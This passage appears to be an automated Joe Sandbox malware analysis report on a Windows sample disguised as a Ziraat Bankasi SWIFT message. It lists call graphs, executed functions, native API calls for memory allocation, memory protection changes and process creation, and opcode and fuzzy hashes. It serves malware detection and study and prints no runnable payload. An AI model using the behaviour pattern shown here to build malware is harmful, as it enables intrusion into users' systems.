34419 40c307 LdrLoadDll 34418->34419 34420 408daa 34419->34420 34421 418a77 LdrLoadDll 34420->34421 34422 408dba 34421->34422 34423 408dc3 PostThreadMessageW 34422->34423 34424 408dd7 34422->34424 34423->34424 34424->34344 34426 40f7da 34425->34426 34430 41d9a7 34426->34430 34429->34354 34431 41eae7 LdrLoadDll 34430->34431 34432 41d9c3 34431->34432 34435 12b9840 LdrInitializeThunk 34432->34435 34433 40f805 34433->34344 34435->34433 34437 40f6b8 34436->34437 34445 41e1f7 34437->34445 34439 40f6f8 34440 40f706 SetUserObjectSecurity 34439->34440 34441 40f6ff 34439->34441 34440->34441 34442 40f71d 34440->34442 34441->34300 34443 41e017 2 API calls 34442->34443 34444 40f735 34443->34444 34444->34300 34446 41e216 CreateProcessInternalW 34445->34446 34447 41eae7 LdrLoadDll 34445->34447 34446->34439 34447->34446 34448->34220 34450 41daf3 34449->34450 34451 41eae7 LdrLoadDll 34449->34451 34454 12b99a0 LdrInitializeThunk 34450->34454 34451->34450 34452 40f655 34452->34226 34452->34227 34454->34452 34455->34233 34456->34238 34457->34243 34459 12b9540 LdrInitializeThunk

                                                                        Executed Functions

                                                                        Function 0041E057 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memorynativeCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 182 41e057-41e094 call 41eae7 NtAllocateVirtualMemory
                                                                        APIs
                                                                        • NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,HD@,00002000,00003000,00000004), ref: 0041E090
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: AllocateMemoryVirtual
                                                                        • String ID: HD@
                                                                        • API String ID: 2167126740-1661062907
                                                                        • Opcode ID: ff407167e8468b06ad404ccbb9f5efcd270d3cf321b6c6ce0313f5831c1888d1
                                                                        • Instruction ID: 23a2446642c9d6fd7ccb81f9b1462f06b40c1544ef3452687a196bf1f7ab25bd
                                                                        • Opcode Fuzzy Hash: ff407167e8468b06ad404ccbb9f5efcd270d3cf321b6c6ce0313f5831c1888d1
                                                                        • Instruction Fuzzy Hash: ABF015B6200208ABCB18DF89DC81EEB77ADAF88754F018109BE0997241C634F810CBB4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 004012AC Relevance: 1.7, APIs: 1, Instructions: 185nativeCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 349 4012ac-4014e7 call 4016b0 call 401260 call 401190 call 4016b0 * 2 call 4010a0 call 401730 364 4014f0-4014ff 349->364 365 401501-401504 364->365 366 401512-401519 364->366 365->366 367 401506-40150a 365->367 366->364 368 40151b 366->368 367->366 369 40150c-401510 367->369 370 40151e-401573 NtProtectVirtualMemory call 4016b0 368->370 369->366 371 401586-40158c 369->371 375 401579 call 422de1 370->375 376 401579 call 422de7 370->376 371->370 374 40157b-401585 375->374 376->374
                                                                        APIs
                                                                        • NtProtectVirtualMemory.NTDLL(000000FF,00000000,?,00000040,?), ref: 0040153C
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: MemoryProtectVirtual
                                                                        • String ID:
                                                                        • API String ID: 2706961497-0
                                                                        • Opcode ID: ec6b929f7a3b9361d41fadd04f4ce49f18b8f921e437c566ef9685ad40d55f9e
                                                                        • Instruction ID: 4de09c8cc9b33c12393b4d7439d677ebb7f18c25de7b711bc7c963b7b625583e
                                                                        • Opcode Fuzzy Hash: ec6b929f7a3b9361d41fadd04f4ce49f18b8f921e437c566ef9685ad40d55f9e
                                                                        • Instruction Fuzzy Hash: B08124B1C2075C9ADB10CFE4CC826EEBBB4BF99304F20531AE514BA291EB7456858B95
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 004014E9 Relevance: 1.5, APIs: 1, Instructions: 48nativeCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 415 4014e9 416 4014f0-4014ff 415->416 417 401501-401504 416->417 418 401512-401519 416->418 417->418 419 401506-40150a 417->419 418->416 420 40151b 418->420 419->418 421 40150c-401510 419->421 422 40151e-401573 NtProtectVirtualMemory call 4016b0 420->422 421->418 423 401586-40158c 421->423 427 401579 call 422de1 422->427 428 401579 call 422de7 422->428 423->422 426 40157b-401585 427->426 428->426
                                                                        APIs
                                                                        • NtProtectVirtualMemory.NTDLL(000000FF,00000000,?,00000040,?), ref: 0040153C
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: MemoryProtectVirtual
                                                                        • String ID:
                                                                        • API String ID: 2706961497-0
                                                                        • Opcode ID: e18285a8a531bca169fc2091db84a1696835475928fadfb9be76e0bb8deae53c
                                                                        • Instruction ID: f693b223d72475ec68b2da2ef918186505b5380f3b0f433e747d444ebe02c2a7
                                                                        • Opcode Fuzzy Hash: e18285a8a531bca169fc2091db84a1696835475928fadfb9be76e0bb8deae53c
                                                                        • Instruction Fuzzy Hash: 3D113071C145185AEF28CBB0DC82ADEBB75EB80328F34022EDA21B61A1D33529458F85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041DE77 Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 450 41de77-41dec8 call 41eae7 NtCreateFile
                                                                        APIs
                                                                        • NtCreateFile.NTDLL(00000060,00000005,00000000,004187D3,00000005,FFFFFFFF,?,?,FFFFFFFF,00000005,004187D3,00000000,00000005,00000060,00000000,00000000), ref: 0041DEC4
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: CreateFile
                                                                        • String ID:
                                                                        • API String ID: 823142352-0
                                                                        • Opcode ID: e85e77ba2c54ed5fbcc428c4a95e80045b35a7a87df5efc95b4940160543289c
                                                                        • Instruction ID: 1eaccfb85ead4845d064612aa127014a064745f00ec14094b2d6d33b1e2f4596
                                                                        • Opcode Fuzzy Hash: e85e77ba2c54ed5fbcc428c4a95e80045b35a7a87df5efc95b4940160543289c
                                                                        • Instruction Fuzzy Hash: 74F0CFB2200208AFCB08CF89DC85EEB37EDAF8C754F018208BA0D97241C630F851CBA4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041DF27 Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • NtReadFile.NTDLL(00418997,00413C77,FFFFFFFF,00418481,00000206,?,00418997,00000206,00418481,FFFFFFFF,00413C77,00418997,00000206,00000000), ref: 0041DF6C
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: FileRead
                                                                        • String ID:
                                                                        • API String ID: 2738559852-0
                                                                        • Opcode ID: 46e9d61f60eefd5b9ec08f7c79a1628f979f043a503e788909cff7321939f862
                                                                        • Instruction ID: 4024538e1fbe87e491ca00cc97f0d7f4bee8646dc1be07d7c36cc5af1570ee62
                                                                        • Opcode Fuzzy Hash: 46e9d61f60eefd5b9ec08f7c79a1628f979f043a503e788909cff7321939f862
                                                                        • Instruction Fuzzy Hash: 67F0B2B6200208AFCB14DF89DC85EEB77ADEF8C754F118249BE0DA7241D634E811CBA4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041DFA1 Relevance: 1.5, APIs: 1, Instructions: 23nativeCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • NtClose.NTDLL(00418975,00000206,?,00418975,00000005,FFFFFFFF), ref: 0041DFCC
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: Close
                                                                        • String ID:
                                                                        • API String ID: 3535843008-0
                                                                        • Opcode ID: 62e561e72c89ad0363e60a83810a1f190eebbbd478b3fc0c42d2abe7633d5aa0
                                                                        • Instruction ID: f4162f1668d446339f9cf60689410139b5282d579f811fe9ba08b7388fb6611a
                                                                        • Opcode Fuzzy Hash: 62e561e72c89ad0363e60a83810a1f190eebbbd478b3fc0c42d2abe7633d5aa0
                                                                        • Instruction Fuzzy Hash: E7E0C236240110BFE714EBA6EC89FD73F69DF88390F144255B91D9B283C231E610C7A0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041DFA7 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • NtClose.NTDLL(00418975,00000206,?,00418975,00000005,FFFFFFFF), ref: 0041DFCC
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: Close
                                                                        • String ID:
                                                                        • API String ID: 3535843008-0
                                                                        • Opcode ID: 6f36c58043209be16d439a3199aaaee235847fb3c9824624ee7abedc41f38536
                                                                        • Instruction ID: de09fe6e10c1733f0da70fbdf0456c5acc58387f7b4f985250102f7ee87ff522
                                                                        • Opcode Fuzzy Hash: 6f36c58043209be16d439a3199aaaee235847fb3c9824624ee7abedc41f38536
                                                                        • Instruction Fuzzy Hash: 12D01776200214ABDA14EBA9DC89ED77BACEF48664F014155BA0D5B242C634FA00CBE0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9910 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 76345bbb4593ebf206b2b077cb05f0e25efd93820b5cc7a8495f314aa77e8e5c
                                                                        • Instruction ID: 96839b721729f99eff54cc84ecc51c551fed3d7ba85fcd24073e19cc4eec8b36
                                                                        • Opcode Fuzzy Hash: 76345bbb4593ebf206b2b077cb05f0e25efd93820b5cc7a8495f314aa77e8e5c
                                                                        • Instruction Fuzzy Hash: 8D9002B121104802D24071A944047460005A7D0741F51C125A6054594EC6998ED577E5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B99A0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 4ae390c50fb99ffbd951d0ac8a89cf166a5787ce139367af87e35fa2d9baf487
                                                                        • Instruction ID: e2477492e1b84cd48b8a5b1b2897168caa144164d0acc63f072c8b340ed0801d
                                                                        • Opcode Fuzzy Hash: 4ae390c50fb99ffbd951d0ac8a89cf166a5787ce139367af87e35fa2d9baf487
                                                                        • Instruction Fuzzy Hash: 469002B135104842D20061A94414B060005E7E1741F51C129E2054594DC659CD5272A6
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9860 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 40103196651857a3f6042322677467829101836402d24118a83f07aec2b7f97d
                                                                        • Instruction ID: 57bb3e8d8d21c8463e3b10911ef8005a8fb267a5fdf6c99f77e0d30ffb820c69
                                                                        • Opcode Fuzzy Hash: 40103196651857a3f6042322677467829101836402d24118a83f07aec2b7f97d
                                                                        • Instruction Fuzzy Hash: 9490027121104813D21161A945047070009A7D0681F91C526A1414598DD6968A52B2A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9840 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 3741a1d731215d6417eb6e5500e9dece12a9f1640a80112a29dff8964d9e14a0
                                                                        • Instruction ID: 5945fa326243c07577158b03d8868e5998f7da20d822ece1e8cda02566675d07
                                                                        • Opcode Fuzzy Hash: 3741a1d731215d6417eb6e5500e9dece12a9f1640a80112a29dff8964d9e14a0
                                                                        • Instruction Fuzzy Hash: 04900271252085525645B1A944045074006B7E0681791C126A2404990CC5669956E7A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B98F0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 406f028831b358b3c8b848406d53b7116c6a038c42040f1b8625585cbcb67b01
                                                                        • Instruction ID: 1df0b03ee86a2d0f5294abcbcb687ec3270044745f0075acb12af98e214bf059
                                                                        • Opcode Fuzzy Hash: 406f028831b358b3c8b848406d53b7116c6a038c42040f1b8625585cbcb67b01
                                                                        • Instruction Fuzzy Hash: 8490027161104902D20171A94404616000AA7D0681F91C136A2014595ECA658A92B2B1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9A20 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 8a30d4a14eaaa6324a3cfd6b405d510bb35d91e8c673540d7e4040a55b0c750a
                                                                        • Instruction ID: f955f2c16e26cdbfebe53d0f2afadc24c32e58bf77cd0a89fd42c0f3d455a37b
                                                                        • Opcode Fuzzy Hash: 8a30d4a14eaaa6324a3cfd6b405d510bb35d91e8c673540d7e4040a55b0c750a
                                                                        • Instruction Fuzzy Hash: C690027161104442424071B988449064005BBE1651751C235A1988590DC599896567E5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9A00 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 78494f954494f5fc98d8626be8e809e72bed649ba06dba6953f32adb1a9f01ca
                                                                        • Instruction ID: 021717d18173c3d059fe819ba94a5aee8386520bc18ca14a40cf34241e84b1b3
                                                                        • Opcode Fuzzy Hash: 78494f954494f5fc98d8626be8e809e72bed649ba06dba6953f32adb1a9f01ca
                                                                        • Instruction Fuzzy Hash: CC90027121144802D20061A9481470B0005A7D0742F51C125A2154595DC665895176F1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9A50 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 870c1bc6a0459b6c76af9efed77448be03e37ace9927b149c4f10e5c47e98d2c
                                                                        • Instruction ID: e428bdf3879bebd1a6968488e258810642aa7980ae4688087a85eef418a7b7ed
                                                                        • Opcode Fuzzy Hash: 870c1bc6a0459b6c76af9efed77448be03e37ace9927b149c4f10e5c47e98d2c
                                                                        • Instruction Fuzzy Hash: 4590027122184442D30065B94C14B070005A7D0743F51C229A1144594CC955896166A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9540 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 2b88e5b2f4a95ff59c2c43c512308a0a68cedb4306561ddca18e046d82892c64
                                                                        • Instruction ID: 2ee3cd812b62edd704fe972ed16176a5a70b0a1e5da9ab4c941a8cf9d12dfb75
                                                                        • Opcode Fuzzy Hash: 2b88e5b2f4a95ff59c2c43c512308a0a68cedb4306561ddca18e046d82892c64
                                                                        • Instruction Fuzzy Hash: AD900275221044030205A5A907045070046A7D5791351C135F2005590CD661896162A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B95D0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: dc2c544d79a19fd8e5db52bed006f355326271ab97fed70464e9e865853f5094
                                                                        • Instruction ID: a0e30494ecb449de5fe6234946dcb9926ac8a6fd1ce037d197e76b88de6b8ca8
                                                                        • Opcode Fuzzy Hash: dc2c544d79a19fd8e5db52bed006f355326271ab97fed70464e9e865853f5094
                                                                        • Instruction Fuzzy Hash: 0F9002B121204403420571A94414616400AA7E0641B51C135E20045D0DC565899172A5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9710 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 3afbf405cb0eec25ff404aa0104720ba3cb522fe05d1c9a706956d92724b8a56
                                                                        • Instruction ID: 6c9542981984c5296ffb9c269d9302bce964abd7d7a84ef0c4677778d3df7381
                                                                        • Opcode Fuzzy Hash: 3afbf405cb0eec25ff404aa0104720ba3cb522fe05d1c9a706956d92724b8a56
                                                                        • Instruction Fuzzy Hash: 0F90027121104802D20065E954086460005A7E0741F51D125A6014595EC6A5899172B1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B97A0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 3a35aaa8a065d9db16bf89df03ca3c7b55e892501b3120755233bbef2db1abc5
                                                                        • Instruction ID: 887b6dab5489286d9ea395ef8f8cf732a24ad2a0140844eefe0c880032285e49
                                                                        • Opcode Fuzzy Hash: 3a35aaa8a065d9db16bf89df03ca3c7b55e892501b3120755233bbef2db1abc5
                                                                        • Instruction Fuzzy Hash: 3090027131104403D24071A954186064005F7E1741F51D125E1404594CD955895663A2
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9780 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 31a51d529e291cf0864d542e10b0e5ea420efb4678f862991b8c3fcb3d3211df
                                                                        • Instruction ID: 5a86236f0abfc0c3ba63655e8673ee3932fc076cae70db7ec13eaf3d82f2efb8
                                                                        • Opcode Fuzzy Hash: 31a51d529e291cf0864d542e10b0e5ea420efb4678f862991b8c3fcb3d3211df
                                                                        • Instruction Fuzzy Hash: 6290027922304402D28071A9540860A0005A7D1642F91D529A1005598CC955896963A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 0680710023f29665d8833eb3695984b2b80055cffceb60b7b479133662715782
                                                                        • Instruction ID: 6f1ecf7260ec6a8be1a53419c66c73b3c09e0275aad4eb95f90d95c188b460ec
                                                                        • Opcode Fuzzy Hash: 0680710023f29665d8833eb3695984b2b80055cffceb60b7b479133662715782
